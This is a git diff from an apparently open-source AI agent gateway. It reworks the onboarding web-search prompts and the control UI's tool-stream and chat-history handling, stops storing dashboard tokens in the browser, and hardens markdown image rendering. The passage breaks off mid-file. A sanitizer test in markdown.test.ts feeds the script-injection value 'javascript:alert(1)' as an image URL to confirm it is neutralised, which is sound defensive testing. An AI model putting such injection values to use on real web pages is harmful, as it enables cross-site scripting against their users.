b/src/web/outbound.ts @@ -8,6 +8,7 @@ import { convertMarkdownTables } from "../markdown/tables.js"; import { markdownToWhatsApp } from "../markdown/whatsapp.js"; import { normalizePollInput, type PollInput } from "../polls.js"; import { toWhatsappJid } from "../utils.js"; +import { resolveWhatsAppAccount, resolveWhatsAppMediaMaxBytes } from "./accounts.js"; import { type ActiveWebSendOptions, requireActiveWebListener } from "./active-listener.js"; import { loadWebMedia } from "./media.js"; @@ -32,6 +33,10 @@ export async function sendMessageWhatsApp( options.accountId, ); const cfg = options.cfg ?? loadConfig(); + const account = resolveWhatsAppAccount({ + cfg, + accountId: resolvedAccountId ?? options.accountId, + }); const tableMode = resolveMarkdownTableMode({ cfg, channel: "whatsapp", @@ -53,6 +58,7 @@ export async function sendMessageWhatsApp( let documentFileName: string | undefined; if (options.mediaUrl) { const media = await loadWebMedia(options.mediaUrl, { + maxBytes: resolveWhatsAppMediaMaxBytes(account), localRoots: options.mediaLocalRoots, }); const caption = text || undefined; diff --git a/src/wizard/onboarding.finalize.test.ts b/src/wizard/onboarding.finalize.test.ts index ea7f6ce23bd..8d720c2f594 100644 --- a/src/wizard/onboarding.finalize.test.ts +++ b/src/wizard/onboarding.finalize.test.ts @@ -113,7 +113,7 @@ describe("finalizeOnboardingWizard", () => { it("resolves gateway password SecretRef for probe and TUI", async () => { const previous = process.env.OPENCLAW_GATEWAY_PASSWORD; - process.env.OPENCLAW_GATEWAY_PASSWORD = "resolved-gateway-password"; + process.env.OPENCLAW_GATEWAY_PASSWORD = "resolved-gateway-password"; // pragma: allowlist secret const select = vi.fn(async (params: { message: string }) => { if (params.message === "How do you want to hatch your bot?") { return "tui"; @@ -179,13 +179,13 @@ describe("finalizeOnboardingWizard", () => { expect(probeGatewayReachable).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789", - password: "resolved-gateway-password", + password: "resolved-gateway-password", // pragma: allowlist secret }), ); expect(runTui).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789", - password: "resolved-gateway-password", + password: "resolved-gateway-password", // pragma: allowlist secret }), ); }); diff --git a/src/wizard/onboarding.finalize.ts b/src/wizard/onboarding.finalize.ts index 62f452de39e..56e805cee66 100644 --- a/src/wizard/onboarding.finalize.ts +++ b/src/wizard/onboarding.finalize.ts @@ -351,7 +351,7 @@ export async function finalizeOnboardingWizard( "Stored in: ~/.openclaw/openclaw.json (gateway.auth.token) or OPENCLAW_GATEWAY_TOKEN.", `View token: ${formatCliCommand("openclaw config get gateway.auth.token")}`, `Generate token: ${formatCliCommand("openclaw doctor --generate-gateway-token")}`, - "Web UI stores a copy in this browser's localStorage (openclaw.control.settings.v1).", + "Web UI keeps dashboard URL tokens in memory for the current tab and strips them from the URL after load.", `Open the dashboard anytime: ${formatCliCommand("openclaw dashboard --no-open")}`, "If prompted: paste the token into Control UI settings (or use the tokenized dashboard URL).", ].join("\n"), @@ -472,39 +472,86 @@ export async function finalizeOnboardingWizard( ); } - const webSearchProvider = nextConfig.tools?.web?.search?.provider ?? "brave"; - const webSearchKey = - webSearchProvider === "perplexity" - ? (nextConfig.tools?.web?.search?.perplexity?.apiKey ?? "").trim() - : (nextConfig.tools?.web?.search?.apiKey ?? "").trim(); - const webSearchEnv = - webSearchProvider === "perplexity" - ? (process.env.PERPLEXITY_API_KEY ?? "").trim() - : (process.env.BRAVE_API_KEY ?? "").trim(); - const hasWebSearchKey = Boolean(webSearchKey || webSearchEnv); - await prompter.note( - hasWebSearchKey - ? [ + const webSearchProvider = nextConfig.tools?.web?.search?.provider; + const webSearchEnabled = nextConfig.tools?.web?.search?.enabled; + if (webSearchProvider) { + const { SEARCH_PROVIDER_OPTIONS, resolveExistingKey, hasExistingKey, hasKeyInEnv } = + await import("../commands/onboard-search.js"); + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === webSearchProvider); + const label = entry?.label ?? webSearchProvider; + const storedKey = resolveExistingKey(nextConfig, webSearchProvider); + const keyConfigured = hasExistingKey(nextConfig, webSearchProvider); + const envAvailable = entry ? hasKeyInEnv(entry) : false; + const hasKey = keyConfigured || envAvailable; + const keySource = storedKey + ? "API key: stored in config." + : keyConfigured + ? "API key: configured via secret reference." + : envAvailable + ? `API key: provided via ${entry?.envKeys.join(" / ")} env var.` + : undefined; + if (webSearchEnabled !== false && hasKey) { + await prompter.note( + [ "Web search is enabled, so your agent can look things up online when needed.", "", - `Provider: ${webSearchProvider === "perplexity" ? "Perplexity Search" : "Brave Search"}`, - webSearchKey - ? `API key: stored in config (tools.web.search.${webSearchProvider === "perplexity" ? "perplexity.apiKey" : "apiKey"}).` - : `API key: provided via ${webSearchProvider === "perplexity" ? "PERPLEXITY_API_KEY" : "BRAVE_API_KEY"} env var (Gateway environment).`, - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n") - : [ - "To enable web search, your agent will need an API key for either Perplexity Search or Brave Search.", - "", - "Set it up interactively:", - `- Run: ${formatCliCommand("openclaw configure --section web")}`, - "- Choose a provider and paste your API key", - "", - "Alternative: set PERPLEXITY_API_KEY or BRAVE_API_KEY in the Gateway environment (no config changes).", + `Provider: ${label}`, + ...(keySource ? [keySource] : []), "Docs: https://docs.openclaw.ai/tools/web", ].join("\n"), - "Web search (optional)", - ); + "Web search", + ); + } else if (!hasKey) { + await prompter.note( + [ + `Provider ${label} is selected but no API key was found.`, + "web_search will not work until a key is added.", + ` ${formatCliCommand("openclaw configure --section web")}`, + "", + `Get your key at: ${entry?.signupUrl ?? "https://docs.openclaw.ai/tools/web"}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } else { + await prompter.note( + [ + `Web search (${label}) is configured but disabled.`, + `Re-enable: ${formatCliCommand("openclaw configure --section web")}`, + "", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } + } else { + // Legacy configs may have a working key (e.g. apiKey or BRAVE_API_KEY) without + // an explicit provider. Runtime auto-detects these, so avoid saying "skipped". + const { SEARCH_PROVIDER_OPTIONS, hasExistingKey, hasKeyInEnv } = + await import("../commands/onboard-search.js"); + const legacyDetected = SEARCH_PROVIDER_OPTIONS.find( + (e) => hasExistingKey(nextConfig, e.value) || hasKeyInEnv(e), + ); + if (legacyDetected) { + await prompter.note( + [ + `Web search is available via ${legacyDetected.label} (auto-detected).`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } else { + await prompter.note( + [ + "Web search was skipped. You can enable it later:", + ` ${formatCliCommand("openclaw configure --section web")}`, + "", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } + } await prompter.note( 'What now: https://openclaw.ai/showcase ("What People Are Building").', diff --git a/src/wizard/onboarding.gateway-config.test.ts b/src/wizard/onboarding.gateway-config.test.ts index bdde68f1cb2..1345b8f4954 100644 --- a/src/wizard/onboarding.gateway-config.test.ts +++ b/src/wizard/onboarding.gateway-config.test.ts @@ -145,7 +145,7 @@ describe("configureGatewayForOnboarding", () => { it("honors secretInputMode=ref for gateway password prompts", async () => { const previous = process.env.OPENCLAW_GATEWAY_PASSWORD; - process.env.OPENCLAW_GATEWAY_PASSWORD = "gateway-secret"; + process.env.OPENCLAW_GATEWAY_PASSWORD = "gateway-secret"; // pragma: allowlist secret try { const prompter = createPrompter({ selectQueue: ["loopback", "password", "off", "env"], @@ -159,7 +159,7 @@ describe("configureGatewayForOnboarding", () => { nextConfig: {}, localPort: 18789, quickstartGateway: createQuickstartGateway("password"), - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret prompter, runtime, }); @@ -195,7 +195,7 @@ describe("configureGatewayForOnboarding", () => { nextConfig: {}, localPort: 18789, quickstartGateway: createQuickstartGateway("token"), - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret prompter, runtime, }); diff --git a/src/wizard/onboarding.gateway-config.ts b/src/wizard/onboarding.gateway-config.ts index a1f5dfee624..c6d9111c3e4 100644 --- a/src/wizard/onboarding.gateway-config.ts +++ b/src/wizard/onboarding.gateway-config.ts @@ -165,7 +165,7 @@ export async function configureGatewayForOnboarding( defaults: nextConfig.secrets?.defaults, }).ref; const tokenMode = - flow === "quickstart" && opts.secretInputMode !== "ref" + flow === "quickstart" && opts.secretInputMode !== "ref" // pragma: allowlist secret ? quickstartTokenRef ? "ref" : "plaintext" diff --git a/src/wizard/onboarding.secret-input.test.ts b/src/wizard/onboarding.secret-input.test.ts index 29c9d5c11c9..4258d6df6cd 100644 --- a/src/wizard/onboarding.secret-input.test.ts +++ b/src/wizard/onboarding.secret-input.test.ts @@ -19,7 +19,7 @@ describe("resolveOnboardingSecretInputString", () => { value: "${OPENCLAW_GATEWAY_PASSWORD}", path: "gateway.auth.password", env: { - OPENCLAW_GATEWAY_PASSWORD: "gateway-secret", + OPENCLAW_GATEWAY_PASSWORD: "gateway-secret", // pragma: allowlist secret }, }); diff --git a/src/wizard/onboarding.test.ts b/src/wizard/onboarding.test.ts index 91d761ca569..e6bbfd146fa 100644 --- a/src/wizard/onboarding.test.ts +++ b/src/wizard/onboarding.test.ts @@ -31,8 +31,8 @@ const configureGatewayForOnboarding = vi.hoisted(() => ); const finalizeOnboardingWizard = vi.hoisted(() => vi.fn(async (options) => { - if (!process.env.BRAVE_API_KEY) { - await options.prompter.note("hint", "Web search (optional)"); + if (!options.nextConfig?.tools?.web?.search?.provider) { + await options.prompter.note("Web search was skipped.", "Web search"); } if (options.opts.skipUi) { @@ -263,6 +263,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -291,6 +292,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -335,6 +337,7 @@ describe("runOnboardingWizard", () => { authChoice: "skip", skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, installDaemon: false, }, @@ -375,6 +378,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -384,7 +388,7 @@ describe("runOnboardingWizard", () => { const calls = (note as unknown as { mock: { calls: unknown[][] } }).mock.calls; expect(calls.length).toBeGreaterThan(0); - expect(calls.some((call) => call?.[1] === "Web search (optional)")).toBe(true); + expect(calls.some((call) => call?.[1] === "Web search")).toBe(true); } finally { if (prevBraveKey === undefined) { delete process.env.BRAVE_API_KEY; @@ -396,7 +400,7 @@ describe("runOnboardingWizard", () => { it("resolves gateway.auth.password SecretRef for local onboarding probe", async () => { const previous = process.env.OPENCLAW_GATEWAY_PASSWORD; - process.env.OPENCLAW_GATEWAY_PASSWORD = "gateway-ref-password"; + process.env.OPENCLAW_GATEWAY_PASSWORD = "gateway-ref-password"; // pragma: allowlist secret probeGatewayReachable.mockClear(); readConfigFileSnapshot.mockResolvedValueOnce({ path: "/tmp/.openclaw/openclaw.json", @@ -440,6 +444,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -457,7 +462,7 @@ describe("runOnboardingWizard", () => { expect(probeGatewayReachable).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789", - password: "gateway-ref-password", + password: "gateway-ref-password", // pragma: allowlist secret }), ); }); @@ -476,9 +481,10 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }, runtime, prompter, @@ -486,7 +492,7 @@ describe("runOnboardingWizard", () => { expect(configureGatewayForOnboarding).toHaveBeenCalledWith( expect.objectContaining({ - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }), ); }); diff --git a/src/wizard/onboarding.ts b/src/wizard/onboarding.ts index 923bc5d7dfb..e2a81537eb7 100644 --- a/src/wizard/onboarding.ts +++ b/src/wizard/onboarding.ts @@ -512,6 +512,16 @@ export async function runOnboardingWizard( skipBootstrap: Boolean(nextConfig.agents?.defaults?.skipBootstrap), }); + if (opts.skipSearch) { + await prompter.note("Skipping search setup.", "Search"); + } else { + const { setupSearch } = await import("../commands/onboard-search.js"); + nextConfig = await setupSearch(nextConfig, runtime, prompter, { + quickstartDefaults: flow === "quickstart", + secretInputMode: opts.secretInputMode, + }); + } + if (opts.skipSkills) { await prompter.note("Skipping skills setup.", "Skills"); } else { diff --git a/test/scripts/ios-team-id.test.ts b/test/scripts/ios-team-id.test.ts index f2a9037f020..2496073951c 100644 --- a/test/scripts/ios-team-id.test.ts +++ b/test/scripts/ios-team-id.test.ts @@ -96,7 +96,7 @@ function runScript( const binDir = path.join(homeDir, "bin"); const env = { HOME: homeDir, - PATH: `${binDir}:${sharedBinDir}:${BASE_PATH}`, + PATH: `${binDir}${path.delimiter}${sharedBinDir}${path.delimiter}${BASE_PATH}`, LANG: BASE_LANG, ...extraEnv, }; diff --git a/ui/package.json b/ui/package.json index d7e38d939f4..b1f548f2869 100644 --- a/ui/package.json +++ b/ui/package.json @@ -14,7 +14,7 @@ "@noble/ed25519": "3.0.0", "dompurify": "^3.3.2", "lit": "^3.3.2", - "marked": "^17.0.3", + "marked": "^17.0.4", "signal-polyfill": "^0.2.2", "signal-utils": "^0.21.1", "vite": "7.3.1" diff --git a/ui/src/i18n/locales/de.ts b/ui/src/i18n/locales/de.ts index 633bdeb12d8..f45ffc3f4c0 100644 --- a/ui/src/i18n/locales/de.ts +++ b/ui/src/i18n/locales/de.ts @@ -58,7 +58,7 @@ export const de: TranslationMap = { subtitle: "Wo sich das Dashboard verbindet und wie es sich authentifiziert.", wsUrl: "WebSocket-URL", token: "Gateway-Token", - password: "Passwort (nicht gespeichert)", + password: "Passwort (nicht gespeichert)", // pragma: allowlist secret sessionKey: "Standard-Sitzungsschlüssel", language: "Sprache", connectHint: "Klicken Sie auf Verbinden, um Verbindungsänderungen anzuwenden.", diff --git a/ui/src/i18n/locales/es.ts b/ui/src/i18n/locales/es.ts index 0a77e447a0f..a96ee7ad2d7 100644 --- a/ui/src/i18n/locales/es.ts +++ b/ui/src/i18n/locales/es.ts @@ -58,7 +58,7 @@ export const es: TranslationMap = { subtitle: "Dónde se conecta el panel y cómo se autentica.", wsUrl: "URL de WebSocket", token: "Token de la puerta de enlace", - password: "Contraseña (no se guarda)", + password: "Contraseña (no se guarda)", // pragma: allowlist secret sessionKey: "Clave de sesión predeterminada", language: "Idioma", connectHint: "Haz clic en Conectar para aplicar los cambios de conexión.", diff --git a/ui/src/ui/app-gateway.node.test.ts b/ui/src/ui/app-gateway.node.test.ts index 6915a30f999..f5ce210906c 100644 --- a/ui/src/ui/app-gateway.node.test.ts +++ b/ui/src/ui/app-gateway.node.test.ts @@ -237,37 +237,37 @@ describe("resolveControlUiClientVersion", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "ws://localhost:8787", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "http://localhost:8787/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("returns serverVersion for same-origin relative targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "/ws", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("returns serverVersion for same-origin http targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "https://control.example.com/ws", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), - ).toBe("2026.3.3"); + ).toBe("2026.3.7"); }); it("omits serverVersion for cross-origin targets", () => { expect( resolveControlUiClientVersion({ gatewayUrl: "wss://gateway.example.com", - serverVersion: "2026.3.3", + serverVersion: "2026.3.7", pageUrl: "https://control.example.com/openclaw/", }), ).toBeUndefined(); diff --git a/ui/src/ui/app-gateway.ts b/ui/src/ui/app-gateway.ts index 15b885be26a..8fd596637b7 100644 --- a/ui/src/ui/app-gateway.ts +++ b/ui/src/ui/app-gateway.ts @@ -258,22 +258,31 @@ function handleTerminalChatEvent( host: GatewayHost, payload: ChatEventPayload | undefined, state: ReturnType, -) { +): boolean { if (state !== "final" && state !== "error" && state !== "aborted") { - return; + return false; } - resetToolStream(host as unknown as Parameters[0]); + // Check if tool events were seen before resetting (resetToolStream clears toolStreamOrder). + const toolHost = host as unknown as Parameters[0]; + const hadToolEvents = toolHost.toolStreamOrder.length > 0; + resetToolStream(toolHost); void flushChatQueueForEvent(host as unknown as Parameters[0]); const runId = payload?.runId; - if (!runId || !host.refreshSessionsAfterChat.has(runId)) { - return; + if (runId && host.refreshSessionsAfterChat.has(runId)) { + host.refreshSessionsAfterChat.delete(runId); + if (state === "final") { + void loadSessions(host as unknown as OpenClawApp, { + activeMinutes: CHAT_SESSIONS_ACTIVE_MINUTES, + }); + } } - host.refreshSessionsAfterChat.delete(runId); - if (state === "final") { - void loadSessions(host as unknown as OpenClawApp, { - activeMinutes: CHAT_SESSIONS_ACTIVE_MINUTES, - }); + // Reload history when tools were used so the persisted tool results + // replace the now-cleared streaming state. + if (hadToolEvents && state === "final") { + void loadChatHistory(host as unknown as OpenClawApp); + return true; } + return false; } function handleChatGatewayEvent(host: GatewayHost, payload: ChatEventPayload | undefined) { @@ -284,8 +293,8 @@ function handleChatGatewayEvent(host: GatewayHost, payload: ChatEventPayload | u ); } const state = handleChatEvent(host as unknown as OpenClawApp, payload); - handleTerminalChatEvent(host, payload, state); - if (state === "final" && shouldReloadHistoryForFinalEvent(payload)) { + const historyReloaded = handleTerminalChatEvent(host, payload, state); + if (state === "final" && !historyReloaded && shouldReloadHistoryForFinalEvent(payload)) { void loadChatHistory(host as unknown as OpenClawApp); } } @@ -307,6 +316,17 @@ function handleGatewayEventUnsafe(host: GatewayHost, evt: GatewayEventFrame) { host as unknown as Parameters[0], evt.payload as AgentEventPayload | undefined, ); + // Reload history after each tool result so the persisted text + tool + // output replaces any truncated streaming fragments. + const agentPayload = evt.payload as AgentEventPayload | undefined; + const toolData = agentPayload?.data; + if ( + agentPayload?.stream === "tool" && + typeof toolData?.phase === "string" && + toolData.phase === "result" + ) { + void loadChatHistory(host as unknown as OpenClawApp); + } return; } diff --git a/ui/src/ui/app-render.ts b/ui/src/ui/app-render.ts index 97b2271b1bf..6bd61c2f226 100644 --- a/ui/src/ui/app-render.ts +++ b/ui/src/ui/app-render.ts @@ -1029,6 +1029,7 @@ export function renderApp(state: AppViewState) { assistantAvatarUrl: chatAvatarUrl, messages: state.chatMessages, toolMessages: state.chatToolMessages, + streamSegments: state.chatStreamSegments, stream: state.chatStream, streamStartedAt: state.chatStreamStartedAt, draft: state.chatMessage, diff --git a/ui/src/ui/app-tool-stream.node.test.ts b/ui/src/ui/app-tool-stream.node.test.ts index 4c948ecb75d..987ed9a735e 100644 --- a/ui/src/ui/app-tool-stream.node.test.ts +++ b/ui/src/ui/app-tool-stream.node.test.ts @@ -13,6 +13,9 @@ function createHost(overrides?: Partial): MutableHost { return { sessionKey: "main", chatRunId: null, + chatStream: null, + chatStreamStartedAt: null, + chatStreamSegments: [], toolStreamById: new Map(), toolStreamOrder: [], chatToolMessages: [], diff --git a/ui/src/ui/app-tool-stream.ts b/ui/src/ui/app-tool-stream.ts index c7f3f9085b4..db84eea6aa0 100644 --- a/ui/src/ui/app-tool-stream.ts +++ b/ui/src/ui/app-tool-stream.ts @@ -28,6 +28,9 @@ export type ToolStreamEntry = { type ToolStreamHost = { sessionKey: string; chatRunId: string | null; + chatStream: string | null; + chatStreamStartedAt: number | null; + chatStreamSegments: Array<{ text: string; ts: number }>; toolStreamById: Map; toolStreamOrder: string[]; chatToolMessages: Record[]; @@ -231,10 +234,14 @@ export function scheduleToolStreamSync(host: ToolStreamHost, force = false) { } export function resetToolStream(host: ToolStreamHost) { + if (host.toolStreamSyncTimer != null) { + clearTimeout(host.toolStreamSyncTimer); + host.toolStreamSyncTimer = null; + } host.toolStreamById.clear(); host.toolStreamOrder = []; host.chatToolMessages = []; - flushToolStreamSync(host); + host.chatStreamSegments = []; } export type CompactionStatus = { @@ -401,11 +408,14 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo if (payload.stream !== "tool") { return; } - const accepted = resolveAcceptedSession(host, payload); - if (!accepted.accepted) { + + // Filter by session only. Don't check chatRunId because the client sets it + // to a client-generated UUID (via generateUUID in sendChatMessage), while + // tool events arrive with the server's engine runId — they can never match. + const sessionKey = typeof payload.sessionKey === "string" ? payload.sessionKey : undefined; + if (sessionKey && sessionKey !== host.sessionKey) { return; } - const sessionKey = accepted.sessionKey; const data = payload.data ?? {}; const toolCallId = typeof data.toolCallId === "string" ? data.toolCallId : ""; @@ -425,6 +435,13 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo const now = Date.now(); let entry = host.toolStreamById.get(toolCallId); if (!entry) { + // Commit any in-progress streaming text as a segment so it renders + // above the tool card instead of below it. + if (host.chatStream && host.chatStream.trim().length > 0) { + host.chatStreamSegments = [...host.chatStreamSegments, { text: host.chatStream, ts: now }]; + host.chatStream = null; + host.chatStreamStartedAt = null; + } entry = { toolCallId, runId: payload.runId, diff --git a/ui/src/ui/app-view-state.ts b/ui/src/ui/app-view-state.ts index c5cf3573ac4..2029bd8f8f4 100644 --- a/ui/src/ui/app-view-state.ts +++ b/ui/src/ui/app-view-state.ts @@ -57,6 +57,7 @@ export type AppViewState = { chatAttachments: ChatAttachment[]; chatMessages: unknown[]; chatToolMessages: unknown[]; + chatStreamSegments: Array<{ text: string; ts: number }>; chatStream: string | null; chatStreamStartedAt: number | null; chatRunId: string | null; diff --git a/ui/src/ui/app.ts b/ui/src/ui/app.ts index 799ea9100c6..69350b550c3 100644 --- a/ui/src/ui/app.ts +++ b/ui/src/ui/app.ts @@ -144,6 +144,7 @@ export class OpenClawApp extends LitElement { @state() chatMessage = ""; @state() chatMessages: unknown[] = []; @state() chatToolMessages: unknown[] = []; + @state() chatStreamSegments: Array<{ text: string; ts: number }> = []; @state() chatStream: string | null = null; @state() chatStreamStartedAt: number | null = null; @state() chatRunId: string | null = null; diff --git a/ui/src/ui/config-form.browser.test.ts b/ui/src/ui/config-form.browser.test.ts index 25e78e12408..393d13a8f97 100644 --- a/ui/src/ui/config-form.browser.test.ts +++ b/ui/src/ui/config-form.browser.test.ts @@ -365,7 +365,7 @@ describe("config form renderer", () => { "models.providers.*.apiKey": { sensitive: true }, }, unsupportedPaths: analysis.unsupportedPaths, - value: { models: { providers: { openai: { apiKey: "old" } } } }, + value: { models: { providers: { openai: { apiKey: "old" } } } }, // pragma: allowlist secret onPatch, }), container, diff --git a/ui/src/ui/controllers/chat.ts b/ui/src/ui/controllers/chat.ts index b5f29ec13ab..e7773a67f56 100644 --- a/ui/src/ui/controllers/chat.ts +++ b/ui/src/ui/controllers/chat.ts @@ -1,3 +1,4 @@ +import { resetToolStream } from "../app-tool-stream.ts"; import { extractText } from "../chat/message-extract.ts"; import type { GatewayBrowserClient } from "../gateway.ts"; import type { ChatAttachment } from "../ui-types.ts"; @@ -50,6 +51,18 @@ export type ChatEventPayload = { errorMessage?: string; }; +function maybeResetToolStream(state: ChatState) { + const toolHost = state as ChatState & Partial[0]>; + if ( + toolHost.toolStreamById instanceof Map && + Array.isArray(toolHost.toolStreamOrder) && + Array.isArray(toolHost.chatToolMessages) && + Array.isArray(toolHost.chatStreamSegments) + ) { + resetToolStream(toolHost as Parameters[0]); + } +} + export async function loadChatHistory(state: ChatState) { if (!state.client || !state.connected) { return; @@ -67,6 +80,11 @@ export async function loadChatHistory(state: ChatState) { const messages = Array.isArray(res.messages) ? res.messages : []; state.chatMessages = messages.filter((message) => !isAssistantSilentReply(message)); state.chatThinkingLevel = res.thinkingLevel ?? null; + // Clear all streaming state — history includes tool results and text + // inline, so keeping streaming artifacts would cause duplicates. + maybeResetToolStream(state); + state.chatStream = null; + state.chatStreamStartedAt = null; } catch (err) { state.lastError = String(err); } finally { diff --git a/ui/src/ui/controllers/control-ui-bootstrap.test.ts b/ui/src/ui/controllers/control-ui-bootstrap.test.ts index fbe0750ac27..33460c3cb9d 100644 --- a/ui/src/ui/controllers/control-ui-bootstrap.test.ts +++ b/ui/src/ui/controllers/control-ui-bootstrap.test.ts @@ -13,7 +13,7 @@ describe("loadControlUiBootstrapConfig", () => { assistantName: "Ops", assistantAvatar: "O", assistantAgentId: "main", - serverVersion: "2026.3.2", + serverVersion: "2026.3.7", }), }); vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); @@ -35,7 +35,7 @@ describe("loadControlUiBootstrapConfig", () => { expect(state.assistantName).toBe("Ops"); expect(state.assistantAvatar).toBe("O"); expect(state.assistantAgentId).toBe("main"); - expect(state.serverVersion).toBe("2026.3.2"); + expect(state.serverVersion).toBe("2026.3.7"); vi.unstubAllGlobals(); }); diff --git a/ui/src/ui/gateway.ts b/ui/src/ui/gateway.ts index c444ef2fe98..693be3d632d 100644 --- a/ui/src/ui/gateway.ts +++ b/ui/src/ui/gateway.ts @@ -247,7 +247,7 @@ export class GatewayBrowserClient { role, scopes, device, - caps: [], + caps: ["tool-events"], auth, userAgent: navigator.userAgent, locale: navigator.language, diff --git a/ui/src/ui/markdown.test.ts b/ui/src/ui/markdown.test.ts index e355ff922a4..279cb2b53fb 100644 --- a/ui/src/ui/markdown.test.ts +++ b/ui/src/ui/markdown.test.ts @@ -30,11 +30,10 @@ describe("toSanitizedMarkdownHtml", () => { expect(html).toContain("console.log(1)"); }); - it("preserves img tags with src and alt from markdown images (#15437)", () => { + it("flattens remote markdown images into alt text", () => { const html = toSanitizedMarkdownHtml("![Alt text](https://example.com/image.png)"); - expect(html).toContain(" { @@ -43,11 +42,17 @@ describe("toSanitizedMarkdownHtml", () => { expect(html).toContain("data:image/png;base64,"); }); - it("strips javascript image urls", () => { + it("flattens non-data markdown image urls", () => { const html = toSanitizedMarkdownHtml("![X](javascript:alert(1))"); - expect(html).toContain(" { + const html = toSanitizedMarkdownHtml("![](https://example.com/image.png)"); + expect(html).not.toContain(" { diff --git a/ui/src/ui/markdown.ts b/ui/src/ui/markdown.ts index 354d4765265..f98ef017351 100644 --- a/ui/src/ui/markdown.ts +++ b/ui/src/ui/markdown.ts @@ -43,6 +43,7 @@ const MARKDOWN_CHAR_LIMIT = 140_000; const MARKDOWN_PARSE_LIMIT = 40_000; const MARKDOWN_CACHE_LIMIT = 200; const MARKDOWN_CACHE_MAX_CHARS = 50_000; +const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i; const markdownCache = new Map(); function getCachedMarkdown(key: string): string | null { @@ -137,6 +138,19 @@ export function toSanitizedMarkdownHtml(markdown: string): string { // pages) as formatted output is confusing UX (#13937). const htmlEscapeRenderer = new marked.Renderer(); htmlEscapeRenderer.html = ({ text }: { text: string }) => escapeHtml(text); +htmlEscapeRenderer.image = (token: { href?: string | null; text?: string | null }) => { + const label = normalizeMarkdownImageLabel(token.text); + const href = token.href?.trim() ?? ""; + if (!INLINE_DATA_IMAGE_RE.test(href)) { + return escapeHtml(label); + } + return `${escapeHtml(label)}`; +}; + +function normalizeMarkdownImageLabel(text?: string | null): string { + const trimmed = text?.trim(); + return trimmed ? trimmed : "image"; +} function escapeHtml(value: string): string { return value diff --git a/ui/src/ui/navigation.browser.test.ts b/ui/src/ui/navigation.browser.test.ts index 853bc58b6e4..8dae3fc2a13 100644 --- a/ui/src/ui/navigation.browser.test.ts +++ b/ui/src/ui/navigation.browser.test.ts @@ -151,6 +151,9 @@ describe("control UI routing", () => { await app.updateComplete; expect(app.settings.token).toBe("abc123"); + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}").token).toBe( + undefined, + ); expect(window.location.pathname).toBe("/ui/overview"); expect(window.location.search).toBe(""); }); @@ -167,12 +170,18 @@ describe("control UI routing", () => { it("hydrates token from URL params even when settings already set", async () => { localStorage.setItem( "openclaw.control.settings.v1", - JSON.stringify({ token: "existing-token" }), + JSON.stringify({ token: "existing-token", gatewayUrl: "wss://gateway.example/openclaw" }), ); const app = mountApp("/ui/overview?token=abc123"); await app.updateComplete; expect(app.settings.token).toBe("abc123"); + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}")).toMatchObject({ + gatewayUrl: "wss://gateway.example/openclaw", + }); + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}").token).toBe( + undefined, + ); expect(window.location.pathname).toBe("/ui/overview"); expect(window.location.search).toBe(""); }); @@ -182,6 +191,9 @@ describe("control UI routing", () => { await app.updateComplete; expect(app.settings.token).toBe("abc123"); + expect(JSON.parse(localStorage.getItem("openclaw.control.settings.v1") ?? "{}").token).toBe( + undefined, + ); expect(window.location.pathname).toBe("/ui/overview"); expect(window.location.hash).toBe(""); }); diff --git a/ui/src/ui/storage.node.test.ts b/ui/src/ui/storage.node.test.ts index 18b91c6a898..34563291fe3 100644 --- a/ui/src/ui/storage.node.test.ts +++ b/ui/src/ui/storage.node.test.ts @@ -24,40 +24,147 @@ function createStorageMock(): Storage { }; } +function setTestLocation(params: { protocol: string; host: string; pathname: string }) { + if (typeof window !== "undefined" && window.history?.replaceState) { + window.history.replaceState({}, "", params.pathname); + return; + } + vi.stubGlobal("location", { + protocol: params.protocol, + host: params.host, + pathname: params.pathname, + } as Location); +} + +function setControlUiBasePath(value: string | undefined) { + if (typeof window === "undefined") { + vi.stubGlobal( + "window", + value == null + ? ({} as Window & typeof globalThis) + : ({ 